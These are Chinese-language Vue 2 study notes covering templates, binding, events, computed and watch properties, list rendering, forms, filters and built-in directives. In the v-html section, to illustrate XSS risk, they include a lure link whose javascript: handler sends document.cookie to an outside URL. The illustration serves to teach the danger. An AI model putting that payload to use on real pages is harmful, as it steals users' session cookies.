Vue学习笔记

2022年03月14日 221次浏览

Vue初识

认识Vue:

  1. 想让Vue工作,就必须创建Vue实例,且要传入一个配置对象
  2. root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法
  3. root容器里的代码被称为【Vue模板】
  4. Vue实例和容器是一一对应的
  5. 实际开发中只有一个Vue实例,并且会配合着组件一起使用
  6. {}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性
  7. 一旦data 中的数据发生改变,那么模板(页面)中用到改数据的地方也会自动更新

注意区分:JS表达式 和 JS代码(语句)

1.表达式:一个表达式会产成一个值,可以放在任何一个需要值的地方:
1. a
2. a+b
3. demo(1)
4. x===y ? 'a' : 'b'
2.js 代码(语句)
1. if(){} 2.for(){}`

<div class="root">  
 <h1>Hello, {{name}} {{address}}</h1>  
</div>
Vue.config.productionTip = false // 阻止 vue 在启动时生产环境提示  
//创建 Vue 实例  
new Vue({  
  el: '.root', //el用于指定当前Vue实例为那个容器服务,值通常为css选择器字符串  
 data: { //data中用于存储数据,数据供el所指定的容器去使用,值暂时写成一个对象  
 name: '麻衣前辈',  
 address: '神奈川县立峰原高等学校'  
 }  
})

模板语法

Vue模板语法有两大类

1.插值语法:
功能:用于解析标签体内容
写法:{{xxx}},xxxjs表达式,且可以直接读取到data中的所有属性
2.指令语法:
功能:用于解析标签(包括:标签属性、标签体内容、绑定事件...)
举例:v-bind:href="xxx" 或者 简写为 :href="xxx",``xxx同样是要写js表达式,且可以直接读取到data中的所有属性
备注:Vue中有很多的指令,且形式都是:v-???,此处我们只是拿v-bind举例

<div id="root">  
 <h1>插值语法</h1>  
 <h3>你好,{{name}}</h3>  
 <hr>  
 <h1>指令语法</h1>  
 <a v-bind:href='blog.url'>点我进{{blog.name}}</a>  
 <a :href='blog.url.toUpperCase()'>点我进{{blog.name}}</a>  
</div>
Vue.config.productionTip = false // 阻止 vue 在启动时生产环境提示  
  
new Vue({  
	el: '#root',  
	data: {  
		name: '麻衣',  
		blog:{  
			url: 'https://yminami.com',  
			name:'麻衣fans博客'  
		}  
	  }  
})

数据绑定

Vue中有两种数据绑定的方式:

  1. 单向绑定(v-bind):数据只能从 data 流向页面
  2. 双向绑定(v-model):数据不仅能从 data 流向页面,还可以从页面流向 data

备注:

  1. 双向绑定一般都应用在表单类元素上(如:input、select等)
  2. v-model:value 可以简写为 v-model,因为 v-model 默认就是收集 value 值
<div id="root">  
 <!-- 普通写法-->  
 <!-- 单向数据绑定:<input type="text" v-bind:value="name"> <br>-->  
 <!-- 双向数据绑定:<input type="text" v-model:value="name"> <br>-->  
  
 <!-- 简写-->  
 单向数据绑定:<input type="text" :value="name"> <br>  
 双向数据绑定:<input type="text" v-model="name"> <br>  
  
 <!-- 下面的代码是错误的,因为v-model只能应用在表单类元素(输入类元素)上 -->  
 <!--  <h2 v-model:x="name">你好啊</h2>-->  
</div>
new Vue({  
  el: '#root',  
 data: {  
    name: '麻衣学姐'  
 }  
})

el与data的两种写法

  1. el 有两种写法
    • new Vue 的时候配置 el 属性
    • 先创建 Vue 实例,随后再通过 vm.$mount('#root') 指定 el 的值
  2. data 有两种写法
    • 对象式
    • 函数式,使用组件时,data 必须使用函数式,否则会报错
  3. 一个重要的原则
    • Vue 管理的函数,一定不要写箭头函数,一旦写了箭头函数,this 就不再是 Vue 实例了。
<div id="root">  
 <h1>你好,{{name}}</h1>  
</div>
// el两种写法  
/*  
const v = new Vue({ 
 //  el: '#root', //第一种写法  
	 data: { name: 'mai' } 
}) 
	 console.log(v);
	 v.$mount('#root') //第二种写法  
 */   
 //  data两种写法  
 new Vue({  
    el: '#root',  
 // data第一种写法:对象式  
 // data: {  
 //   name: 'mai' // } // data第二种写法:函数式  
	 data() {  
	    console.log(this, '@@@')  // 此处的this是 Vue 实例对象  
		 return {  
		        name: '尚硅谷'  
		 }  
    }  
  })

MVVM 模型

  1. M:模型(Model) => 对应 data 中的数据
  2. V:视图(View) => 模板代码
  3. VM:视图模型(ViewModel) => Vue实例对象
    Pasted image 20220314110109.png

观察发现

1. `data` 上的所有属性,最后都出现在了 `vm` 上
2. `vm` 身上的所有属性 及 `Vue` 原型上的所有属性,在 `Vue` 模板中都可以直接使用。
<div id="root">  
 <h1>学校名称:{{name}}</h1>  
 <h1>学校地址:{{address}}</h1>  
 <!-- 测试 vm上的东西在模板中都能直接用-->  
 <h1>测试:{{$options}}</h1>  
 <h1>测试::{{$emit}}</h1>  
</div>
const vm = new Vue({  
  el: '#root',  
 data: {  
    name: '神奈川县立峰原高等学校',  
 address: '神奈川县'  
 }  
})  
console.log(vm);

Pasted image 20220314111623.png

何为数据代理

数据代理:通过一个对象代理对另一个对象中属性的操作 读/写

let obj = {x: 100}  
let obj2 = {y: 200}  
  
Object.defineProperty(obj2, 'x', {  
    get() {  
      return obj.x  
 },  
 set(value) {  
      obj.x = value  
    }  
  }  
)

Vue中的数据代理

Pasted image 20220314133057.png

Pasted image 20220314133038.png

当我们读 name 的时候,getter 工作,getterdata.name 给我们,当通过 vmname setter 就开始工作将 data.name 改掉

  1. Vue 中的数据代理:
    • 通过 vm 对象来代理 data 对象中属性的操作 (读/写)
  2. Vue 中数据代理的好处:
    • 更加放标的操作 data 中的数据
  3. 基本原理:
    • 通过 Object.defineProperty()data 对象中所有的属性添加到 vm 上。
    • 为每一个添加到 vm 上的属性,都指定一个 getter/setter
    • getter/setter 内部去操作 (读/写) data 中对应的属性

事件处理

事件的基本使用

  1. 使用 v-on:xxx 或者 @xxx 绑定事件,其中 xxx 是事件名
  2. 事件的回调需要配置在 methods 对象中,最终会在 vm
  3. methods 中配置的函数不要用箭头函数!否则 this 就不是 vm 了
  4. methods 中配置的函数,都是被 Vue 所管理的函数,this 的指向是 vm 或 组件实例对象
  5. @click="demo" 和 @click="demo($event)" 效果一致,但是后者可以传参
<div id="root">  
 <h2>欢迎来到{{name}}</h2>  
 <!--  <button v-on:click="showInfo">点我提示信息</button>-->  
 <button @click="showInfo1">点我提示信息1(不传参)</button>  
 <button @click="showInfo2($event,77)">点我提示信息2(传参)</button>  
</div>
const vm = new Vue({  
	el: '#root',  
	data: {  
		name: '麻衣blog'  
	},  
	methods: {  
		showInfo1(event) {  
		// console.log(event.target.innerText);  
		// console.log(this === vm); 此处的this 是 vm alert('Hello!')  
		},  
		showInfo2(event, number) {  
		console.log(event, number);  
		// console.log(event.target.innerText);  
		// console.log(this === vm); 此处的this 是 vm alert('Hello!!')  
		}  
	}  
})

Vue中的事件修饰符

  1. prevent 阻止默认事件(常用)
  2. stop 阻止事件冒泡(常用)
  3. once 事件只触发一次(常用)
  4. capture 使用事件的捕获模式
  5. self 只有 event.target 是当前操作的元素时才触发事件
  6. passive 事件的默认行为立即执行,无需等待事件回调执行完毕
<style>  
 * {  
        margin: 20px;  
 }  
  
    .demo1 {  
        height: 50px;  
 background: skyblue;  
 }  
  
    .box1 {  
        background: skyblue;  
 padding: 5px;  
 }  
  
    .box2 {  
        background: orange;  
 padding: 5px;  
 }  
  
    .list {  
        width: 200px;  
 height: 200px;  
 background: peru;  
 overflow: auto;  
 }  
  
    li {  
        height: 100px;  
 }  
</style>

<div id="root">  
 <h2>欢迎来到{{name}}</h2>  
 <!-- 阻止默认事件-->  
 <a href="https://yminami.com" @click.prevent="showInfo">点击提示信息</a>  
 <!-- 阻止事件冒泡-->  
 <div @click="showInfo" class="demo1">  
 <button @click.stop="showInfo">点击提示信息</button>  
 </div> <!-- 事件只触发一次-->  
 <button @click.once="showInfo">点击提示信息</button>  
 <!-- 使用事件的捕获模式-->  
 <div class="box1" @click.capture="showMsg(1)">  
 div1  
    <div class="box2" @click="showMsg(2)">div2</div>  
 </div> <!-- 只有 event.target 是当前操作的元素时才触发事件-->  
 <div @click.self="showInfo" class="demo1">  
 <button @click="showInfo">点击提示信息</button>  
 </div>  
 <!-- 事件的默认行为立即执行,无需等待事件回调执行完毕-->  
 <ul @wheel.passive="demo" class="list">  
 <li>1</li>  
 <li>2</li>  
 <li>3</li>  
 <li>4</li>  
 </ul>  
</div>
new Vue({  
	el: '#root',  
	data: {  
		name: '麻衣blog'  
	},  
	methods: {  
		showInfo(e) {  
			alert('Hello')  
			// console.log(e.target)  
		},  
		showMsg(msg) {  
			console.log(msg);  
		},  
		demo() {  
			for (let i = 0; i < 100000; i++) {  
			  console.log('#')  
			}  
			console.log('循环完毕')  
		}  
	}  
})

键盘事件

Vue 中常用的按键别名

  • 回车 => enter
  • 删除 => delete (捕获'删除'和'退格'键)
  • 退出 => esc
  • 空格 => space
  • 换行 => tab (必须配合keydown使用)
  • 上 => up
  • 下 => down
  • 左 => left
  • 右 => right

Vue 未提供别名的按键,可以使用按键原始的 key 值去绑定,但要注意转为 kebab-case (短横线命名)

系统修饰符(用法特殊):ctrlaltshiftmeta

  1. 配合 keyup 使用:按下修饰符的同时,再按其它键,随后释放其它键,事件才被触发
  2. 配合 keydown 使用:正常的触发事件

也可以使用 keyCode 去指定具体的按键(不推荐)

Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名

<div id="root">  
 <input type="text" placeholder="按下回车提示输入" @keyup.ctrl.y="showInfo">  
</div>
Vue.config.keyCode.huiche = 13 //定义了一个别名按键  
new Vue({  
	el: '#root',  
	data: {  
		name: '麻衣blog'  
	},  
	methods: {  
		showInfo(e) {  
			console.log(e.key, e.keyCode);  
			console.log(e.target.value)  
		}  
	}  
})

Vue 计算属性

  1. 定义:要用的属性不存在,要通过已有的属性计算得来
  2. 原理:底层借助了 Object.defineproperty 方法提供的 gettersetter
  3. get 函数什么时候执行
    • 初次读取时会执行一次
    • 当依赖的数据发生改变时会再次被调用
  4. 优势:内部有缓存机制(复用),效率高,调试方便

备注:
1.计算属性最终会出现在 vm上,直接读取即可
2. 如果计算属性要被修改,那必须写 set 函数去响应修改,且 set 中要引起计算时依赖的数据发生改变

<div id="root">  
 姓:<input type="text" v-model="firstName"> <br>  
 名:<input type="text" v-model="lastName"> <br>  
 全名:<span>{{fullName}}</span> <br>  
 全名:<span>{{fullName}}</span> <br>  
</div>
const vm = new Vue({  
  el: '#root',  
 data: {  
    firstName: '张',  
 lastName: '三'  
 },  
 computed: {  
    fullName: {  
      get() {  
        // console.log(this); //此处的this 是 vm console.log('get被调用了')  
        return this.firstName + '-' + this.lastName  
 },  
 //set当 fullName被修改时调用  
 set(value) {  
        console.log('set-' + value)  
        const arr = value.split('-')  
        this.firstName = arr[0]  
        this.lastName = arr[1]  
      }  
    }  
  }  
})

计算属性的简写

当只考虑读取不考虑修改的时候,可以不加 set,这时才能使用简写形式

computed: {  
  fullName(){  
    console.log('get被调用了')  
    return this.firstName + '-' + this.lastName  
 }  
}

Vue 侦听属性

侦听属性 watch

  1. 当被监视的属性变化时,回调函数自动调用,进行相关操作
  2. 监视的属性必须存在,才能进行监视
  3. 监视的两种写法:
    1. new Vue 时传入 watch 配置
    2. 通过 vm.$watch 监视
<div id="root">  
 <h2>今天天气很{{info}}</h2>  
 <button @click="changeWeather">切换天气</button>  
</div>
const vm = new Vue({  
  el: '#root',  
 data: {  
    isHot: true,  
 },  
 computed: {  
    info() {  
      return this.isHot ? '炎热' : '凉爽'  
 }  
  },  
 methods: {  
    changeWeather() {  
      this.isHot = !this.isHot  
 }  
  },  
 /*watch: {  
 isHot: { immediate: true, //初始化时让 handler 调用一下  
 //handler 什么时候调用? 当isHot发生变化时调用  
 handler(newValue, oldValue) { console.log('isHot被修改了', newValue, oldValue);  
 } } }*/})  
vm.$watch('isHot', {  
  immediate: true,  
 handler(newValue, oldValue) {  
    console.log('isHot被修改了', newValue, oldValue);  
 }  
})

深度监视

  1. Vue 中的 watch 默认不监视对象内部值的改变(一层)
  2. 配置 deep:true 可以监测对象内部值的改变(多层)

备注:

  1. Vue 自身可监测对象内部值的改变,但Vue提供的watch默认不可以
  2. 使用watch时根据数据的具体结果,决定是否采用深度监视
<div id="root">  
 <h2>今天天气很{{info}}</h2>  
 <button @click="changeWeather">切换天气</button>  
 <hr> <h3>a的值是:{{numbers.a}}</h3>  
 <button @click="numbers.a++">点我让a+1</button>  
 <h3>b的值是:{{numbers.b}}</h3>  
 <button @click="numbers.b++">点我让b+1</button>  
</div>
const vm = new Vue({  
  el: '#root',  
 data: {  
    isHot: true,  
 numbers: {  
      a: 1,  
 b: 1  
 }  
  },  
 computed: {  
    info() {  
      return this.isHot ? '炎热' : '凉爽'  
 }  
  },  
 methods: {  
    changeWeather() {  
      this.isHot = !this.isHot  
 }  
  },  
 watch: {  
    isHot: {  
      // immediate: true, //初始化时让 handler 调用一下  
 //handler 什么时候调用? 当isHot发生变化时调用  
 handler(newValue, oldValue) {  
        console.log('isHot被修改了', newValue, oldValue);  
 }  
    },  
 // 监视多级结构中某个属性的变化  
 /*'numbers.a': {  
 handler() { console.log('a被改变了')  
 } }*/ // 监视多级结构中所有属性的变化  
 numbers: {  
      deep: true,  
 handler() {  
        console.log('b被改变了')  
      }  
    }  
  }  
})

侦听属性-简写

watch: {  
  //简写
  isHot(newValue, oldValue) {  
    console.log('isHot被修改了', newValue, oldValue);  
  }}
//正常写法  
/*vm.$watch('isHot',{  
 immediate: true, //初始化时让 handler 调用一下  
 deep:true, // 深度监视  
 handler(newValue, oldValue) { console.log('isHot被修改了', newValue, oldValue);  
 }})*/  
// 简写  
vm.$watch('isHot', function (newValue, oldValue) {  
  console.log('isHot被修改了', newValue, oldValue);  
})

computedwatch 之间的区别

  1. computed 能完成的功能,watch 都可以完成
  2. watch 能完成的功能,computed 不一定能完成,例如:watch 可以进行异步操作
    两个重要的原则:
  3. 所有被 Vue 管理的函数,最好写成普通函数,这样 this 的指向才是 vm 或者 组件实例对象
  4. 所有不被 Vue 管理的函数(定时器的回调函数、ajax的回调函数、Promise的回调函数等),最好写成箭头函数,这样 this 的指向才是 vm 或 组件实例对象
watch: {  
  firstName(newValue) {  
    setTimeout(() => {  
      this.fullName = newValue + '-' + this.lastName  
 }, 1000)  
  },  
 lastName(newValue) {  
    this.fullName = this.firstName + '-' + newValue  
  }  
}

Vue 中绑定样式

  1. class 样式
    • 写法 :class="xxx" xxx 可以是字符串、对象、数组。
    • 字符串写法适用于:样式类名不确定,要动态获取
    • 对象写法适用于:要绑定多个样式,个数不确定,名字也不确定
    • 数组写法适用于:要绑定多个样式,个数不确定,名字确定,但要动态决定用不用
  2. style 样式
    • :style="{fontSize: xxx}" 其中 xxx 是动态值
    • :style="[a,b]" 其中a、b 是样式对象吧
<style>  
 .basic {  
        width: 400px;  
 height: 100px;  
 border: 1px solid black;  
 }  
  
    .happy {  
        border: 4px solid red;;  
 background-color: rgba(255, 255, 0, 0.644);  
 background: linear-gradient(30deg, yellow, pink, orange, yellow);  
 }  
  
    .sad {  
        border: 4px dashed rgb(2, 197, 2);  
 background-color: gray;  
 }  
  
    .normal {  
        background-color: skyblue;  
 }  
  
    .mai1 {  
        background-color: yellowgreen;  
 }  
  
    .mai2 {  
        font-size: 30px;  
 text-shadow: 2px 2px 10px red;  
 }  
  
    .mai3 {  
        border-radius: 20px;  
 }  
</style>   
<div id="root">  
 <!-- 绑定class样式--字符串写法,适用于:样式类名不确定动态指定 -->  
 <div class="basic" :class="mood" @click="changeMood">{{name}}</div>  
 <br> <br> <!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定,名字也不确定 -->  
 <div class="basic" :class="classArr">{{name}}</div>  
 <br> <br> <!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定,名字确定,但要动态决定用不用-->  
 <div class="basic" :class="classObj">{{name}}</div>  
 <br> <br>  
 <!-- 绑定style样式--对象写法-->  
 <div class="basic" :style="styleObj">{{name}}</div>  
 <br> <br> <!-- 绑定style样式--数组写法-->  
 <div class="basic" :style="styleArr">{{name}}</div>  
</div>

const vm = new Vue({  
  el: '#root',  
 data: {  
    name: '麻衣',  
 mood: 'normal',  
 classArr: ['mai1', 'mai2', 'mai3'],  
 classObj: {  
      mai1: false,  
 mai2: false  
 },  
 styleObj: {  
      fontSize: '40px',  
 color: 'red',  
  
 },  
 styleObj2: {  
      backgroundColor: 'orange'  
 },  
 styleArr: [  
      {  
        fontSize: '40px',  
 color: 'blue',  
 }, {  
        backgroundColor: 'skyblue'  
 }  
    ]  
  },  
 methods: {  
    changeMood() {  
      const arr = ['happy', 'sad', 'normal']  
      this.mood = arr[Math.floor(Math.random() * 3)]  
    }  
  }  
})

Vue 条件渲染

v-if

写法

  • v-if="表达式"
  • v-else-if="表达式"
  • v-else="表达式"
    适用于:切换频率较低的场景
    特点:不展示的 DOM 元素直接被移除
    注意:v-if 可以和 :v-else-ifv-else 一起使用,但要求结构不能被打断

v-show

写法: v-show="表达式"
适用于:切换频率较高的场景
特点:不展示的 DOM 元素未被移除,仅仅是使用 display:none 隐藏

备注:使用 v-if 时,元素可能无法获取到,而使用 v-show 一定可以获取到

<div id="root">  
 <h2>当前的n值是{{n}}</h2>  
 <button @click="n++">点我n+1</button>  
 <!-- 使用v-show做条件渲染-->  
 <!--  <h2 v-show="false">欢迎来到{{name}}</h2>-->  
 <!--  <h2 v-show="1===1">欢迎来到{{name}}</h2>-->  
  
 <!-- 使用v-if做条件渲染-->  
 <!--  <h2 v-if="false">欢迎来到{{name}}</h2>-->  
 <!--  <h2 v-if="1===1">欢迎来到{{name}}</h2>-->  
  
 <!--  v-else和v-else-if-->  
 <!--  <div v-if="n === 1">angular</div>--> <!--  <div v-else-if="n === 2">react</div>--> <!--  <div v-else-if="n === 3">vue</div>--> <!--  <div v-else>哈哈哈</div>-->  
  
 <!--  v-if和template-->  
 <template v-if="n ===1">  
 <h2>你好</h2>  
 <h2>麻衣</h2>  
 <h2>深圳</h2>  
 </template></div>
const vm = new Vue({  
  el: '#root',  
  data: {  
    name: '麻衣blog',  
	 n: 0  
 }  
})

列表渲染

基本列表

v-for 指令

  1. 用于展示列表数据
  2. 语法:v-for="(item,index) in xxx" :key="index"
  3. 可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
<div id="root">  
 <!-- 遍历数组-->  
 <h2>人员列表</h2>  
 <ul> <li v-for="(p,index) in persons" :key="index">  
 {{p.name}} - {{p.age}}  
    </li>  
 </ul>  
 <!-- 遍历对象-->  
 <h2>汽车信息</h2>  
 <ul> <li v-for="(value,k) of car" :key="k">  
 {{k}} - {{value}}  
    </li>  
 </ul></div>
new Vue({  
	el: '#root',  
	data: {  
		persons: [  
			{id: '001', name: '张三', age: 19},  
			{id: '002', name: '李四', age: 22},  
			{id: '003', name: '王五', age: 33}  
		],  
		car: {  
			name: '奥迪A8',  
			price: '70W',  
			color: '黑色'  
		}
	}  
})

key的原理

Pasted image 20220315213624.png

Pasted image 20220315215408.png

面试题:react、vue中的key有什么作用?(key的内部原理)

  1. 虚拟DOM中key的作用:
    • key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,
    • 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
  2. 对比规则:
    • 旧虚拟DOM中找到了与新虚拟DOM相同的key:
      • 若虚拟DOM中内容没变, 直接使用之前的真实DOM!
      • 若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。
    • 旧虚拟DOM中未找到与新虚拟DOM相同的key,创建新的真实DOM,随后渲染到到页面。
  3. 用index作为key可能会引发的问题:
    • 若对数据进行:逆序添加、逆序删除等破坏顺序操作,会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。
    • 如果结构中还包含输入类的DOM:会产生错误DOM更新 ==> 界面有问题。
  4. 开发中如何选择key?:
    1. 最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
    2. 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的。

列表过滤

<div id="root">  
 <h2>人员列表</h2>  
 <input type="text" placeholder="请输入关键字" v-model="keyWord">  
 <ul> <li v-for="(p,index) in filPersons" :key="index">  
 {{p.name}} - {{p.age}} - {{p.sex}}  
    </li>  
 </ul></div>
// 用 watch 实现  
new Vue({  
	el: '#root',  
	data: {  
		keyWord: '',  
		persons: [  
			{id: '001', name: '马冬梅', age: 19, sex: '女'},  
			{id: '002', name: '周冬雨', age: 22, sex: '女'},  
			{id: '003', name: '周杰伦', age: 33, sex: '男'},  
			{id: '004', name: '温兆伦', age: 43, sex: '男'}  
		],  
		filPerson: []  
	},  
	watch: {  
		keyWord: {  
			immediate: true,  
			handler(newValue) {  
			this.filPerson = this.persons.filter((p) => {  
			return p.name.indexOf(newValue) !== -1  
			})  
			}  
		}  
	}  
})
// 用 computed 实现  
new Vue({  
	el: '#root',  
	data: {  
		keyWord: '',  
		persons: [  
		{id: '001', name: '马冬梅', age: 19, sex: '女'},  
		{id: '002', name: '周冬雨', age: 22, sex: '女'},  
		{id: '003', name: '周杰伦', age: 33, sex: '男'},  
		{id: '004', name: '温兆伦', age: 43, sex: '男'}  
		],  
	},  
	computed: {  
		filPersons() {  
			return this.persons.filter((p) => {  
				return p.name.indexOf(this.keyWord) !== -1  
				})  
		}  
	}  
})

VueVue监视数据的原理

1.Vue 会监视data中所有层次的数据

2.如何监测对象中的数据?

通过 setter实现监视,且要在 new Vue 时就要传入监测的数据。

  1. 对象中后追加的属性,Vue 默认不做响应式处理
  2. 如需给后添加的属性做响应式,请使用如下API:
    • Vue.set(target,propertyName/index, value)
    • vm.$set(target,propertyName/index, value)

3.如何监测数组中的数据

通过包裹数组更新元素的方法实现,本质就是做了两件事:

  1. 调用原生对应方法对数组进行更新
  2. 重新解析模板,进而更新页面

4.在 Vue 修改数组中某个元素时一定要用如下方法

  1. 使用:push()/pop()/shift()/unshift()/splice()/sort()/reverse()API
  2. Vue.set() 或 vm.$set()
    特别注意:Vue.set()vm.$set() 不能给 vmvm 的根数据对象添加属性!
<div id="root">  
 <h1>学生信息</h1>  
  
 <button @click="student.age++">年龄+1岁</button>  
 <br> <button @click="addSex">添加性别属性,默认男</button>  
 <button @click="student.sex = '女'">修改性别</button>  
 <br> <button @click="addFriend">在列表首位添加一个朋友</button>  
 <br> <button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button>  
 <br> <button @click="addHobby">添加一个爱好</button>  
 <br> <button @click="updateHobby">修改第一个爱好为:开车</button>  
 <button @click="removeSmoke">过滤掉爱好中的抽烟</button>
 <br> <h3>姓名:{{student.name}}</h3>  
 <h3>年龄:{{student.age}}</h3>  
 <h3 v-if="student.sex">性别:{{student.sex}}</h3>  
 <h3>爱好:</h3>  
 <ul> <li v-for="(h,index) in student.hobby" :key="index">  
 {{h}}  
    </li>  
 </ul> <h3>朋友们</h3>  
 <ul> <li v-for="(f,index) in student.friends" :key="index">  
 {{f.name}}-{{f.age}}  
    </li>  
 </ul></div>
const vm = new Vue({  
	el: '#root',  
		data: {  
			student: {  
			name: '张三',  
			age: 18,  
			hobby: ['抽烟', '喝酒', '烫头'],  
			friends: [  
				{name: 'jerry', age: 25},  
				{name: 'tom', age: 24},  
			]  
		},  
	},  
	methods: {  
		addSex() {  
			// Vue.set(this.student, 'sex', '男')  
			this.$set(this.student, 'sex', '男')  
		},  
		addFriend() {  
			this.student.friends.unshift({name: 'jack', age: 80})  
		},  
		updateFirstFriendName() {  
			this.student.friends[0].name = '张三'  
		},  
		addHobby() {  
			this.student.hobby.push('学习')  
		},  
		updateHobby() {  
			// this.student.hobby.splice(0,1,'开车')  
			Vue.set(this.student.hobby, 0, '开车')  
		},  
		removeSmoke() {  
		  this.student.hobby = this.student.hobby.filter((h) => {  
		    return h !== '抽烟'  
		 })  
		}  
	}  
})

v-model 收集表单数据

  1. 若:<input type="text"/>,则 v-model 收集的是 value 值,用户输入的就是 value 值。
  2. 若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
  3. 若:<input type="checkbox"/>
    1. 没有配置 inputvalue 属性,那么收集的就是 checked(勾选 or 未勾选,是布尔值)
    2. 配置 inputvalue 属性:
    • v-model 的初始值是非数组,那么收集的就是 checked(勾选 or 未勾选,是布尔值)
    • v-model 的初始值是数组,那么收集的的就是 value 组成的数组
      备注:v-model 的三个修饰符:
    • lazy:失去焦点再收集数据
    • number:输入字符串转为有效的数字
    • trim:输入首尾空格过滤

实例

  
<div id="root">  
 <form @submit.prevent="demo">  
 账号:<input type="text" v-model.trim="userInfo.account"> <br><br>  
 密码:<input type="password" v-model="userInfo.password"> <br><br>  
 年龄:<input type="number" v-model.number="userInfo.age"> <br><br>  
 性别:  
 男 <input type="radio" name="sex" v-model="userInfo.sex" value="male">  
 女 <input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br><br>  
 爱好:  
 学习 <input type="checkbox" v-model="userInfo.hobby" value="study">  
 打游戏 <input type="checkbox" v-model="userInfo.hobby" value="game">  
 吃饭 <input type="checkbox" v-model="userInfo.hobby" value="eat"> <br><br>  
 所属校区  
 <select v-model="userInfo.city">  
 <option value="">请选择校区</option>  
 <option value="南京仙林">南京仙林校区</option>  
 <option value="南京鼓楼">南京鼓楼校区</option>  
 <option value="深圳粤海">深圳粤海校区</option>  
 <option value="深圳丽城">深圳丽城校区</option>  
 </select><br><br> 其它信息:  
 <textarea v-model.lazy="userInfo.other"></textarea><br><br>  
 <input type="checkbox" v-model="userInfo.agree"> 阅读并接受 <a href="https://yminami.com">用户协议</a>  
 <button>提交</button>  
 </form></div>
new Vue({  
	el: '#root',  
    data: {  
    userInfo: {  
	     account: '',  
		 password: '',  
		 age: 18,  
		 sex: 'female',  
		 hobby: [],  
		 city: '',  
		 other: '',  
		 agree: '',  
	 }   
    },  
 methods: {  
    demo() {  
      console.log(JSON.stringify(this.userInfo));  
 }  
  }  
})

Vue 过滤器

定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)
语法:

  1. 注册过滤器:Vue.filter(name,callback)new Vue{filters:{}}
  2. 使用过滤器:{{xxx | 过滤器名}}v-bind:属性 = "xxx | 过滤器名"
    备注:
  3. 过滤器也可以接受额外参数,过个过滤器也可以串联
  4. 并没有改变原本的数据,是产生新的数据
<div id="root">  
 <h2>显示格式化后的时间</h2>  
 <!-- 计算属性实现-->  
 <h3>现在是{{fmtTime}}</h3>  
 <!--  methods实现 -->  
 <h3>现在是{{getFmtTime()}}</h3>  
 <!-- 过滤器实现-->  
 <h3>现在是{{time | timeFormat}}</h3>  
 <!-- 过滤器实现 (传参) 多过滤器串联-->  
 <h3>现在是{{time | timeFormat('YYYY_MM_DD') | mySlice}}</h3>  
 <h3 :x="msg | mySlice">麻衣前辈</h3>  
</div>
Vue.filter('mySlice', function (value) {  
  return value.slice(0, 4)  
})  
  
new Vue({  
  el: '#root',  
 data: {  
    time: 1647439529137,  
 msg: '你好,,,,麻衣'  
 },  
 methods: {  
    getFmtTime() {  
      return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')  
    }  
  },  
 computed: {  
    fmtTime() {  
      return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')  
    }  
  },  
 filters: {  
    timeFormat(value, str = 'YYYY年MM月DD日 HH:mm:ss') {  
      return dayjs(value).format(str)  
    },  
 }  
})

Vue 内置指令

之前学过的指令:

  • v-bind:单项数据绑定,可简写为 :xxx
  • v-model:双向数据绑定
  • v-if:条件渲染(动态控制节点是否存在)
  • v-elese:条件渲染(动态控制节点是否存在)
  • v-show:条件渲染(动态控制条件是否展示)
  • v-on:绑定事件监听,可简写为@
  • v-for:遍历数组、对象、字符串

v-text 指令

作用:向其所在的节点中渲染文本内容
与插值语法的区别:x-text 会替换掉节点中的内容, {{xxx}} 则不会

<div id="root">  
 <div>hello,{{name}}</div>  
 <div v-text="name"></div>  
</div>

v-html 指令

  1. 作用:向指定节点渲染包含 html 结构的内容
  2. 与插值语法的区别:
    1. v-html 会替换掉节点中所有的内容,{{xxx}} 则不会
    2. v-html 可以识别 html 结构
  3. 严重注意, v-html 有安全性问题
    1. 在网站上动态渲染任意 HTML 是非常危险的,容易导致 XSS 攻击
    2. 一定要在可信的内容上使用 v-html,永远不要在用户提交的内容上
      以下这种写法在服务端没有做 HttpOnly 处理的情况下,使用 document.cookie 可以直接拿到 cookie
<div id="root">  
 <div>hello,{{name}}</div>  
 <div v-html="str"></div>  
 <div v-html="str2"></div>  
</div>
new Vue({  
  el: '#root',  
 data: {  
    name: '麻衣',  
 str: '<h3>Hi好!</h3>',  
 str2: '<a href=javascript:location.href="https://yminami.com?"+document.cookie>兄弟,这有个好网站,资源贼多</a>'  
 }  
})

v-cloak 指令

  1. 本质是一个特殊属性,Vue 实例创建完毕并接管容器后,会删除 v-cloak 属性。
  2. 使用 css 配合 v-cloak 可以解决网速慢时页面展示出 {{xxx}} 的问题
<style>  
 [v-cloak] {  
        display: none;  
 }  
</style>
<div id="root">  
 <h2 v-cloak>{{name}}</h2>  
</div>

v-once指令

  1. v-once 所在的节点在初次动态渲染后,就视为静态内容了
  2. 以后数据的改变不会引起 v-once 所在结构的更新,可以用于优化性能
<div id="root">  
 <h2 v-once>当前的 n 值是: {{n}}</h2>  
 <h2>当前的 n 值是: {{n}}</h2>  
 <button @click="n++">点我n++</button>  
</div>

v-pre 指令

  1. 跳过其所在的节点编译过程
  2. 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译
<div id="root">  
 <h2 v-pre>Vue 其实很简单</h2>  
 <h2>当前的 n 值是: {{n}}</h2>  
 <button @click="n++">点我n++</button>  
</div>

Vue 自定义组件

定义语法

  1. 局部指令:
    		new Vue({
    			directives:{指令名:配置对象}
    		})
    		// 或者
    		new Vue({
    			directives(){指令名:回调函数}
    		})
    
  2. 全局指令:
    		Vue.directive(指令名,配置对象)
    		// 或
    		Vue.directive(指令名,回调函数)
    

配置对象中常用的3个回调

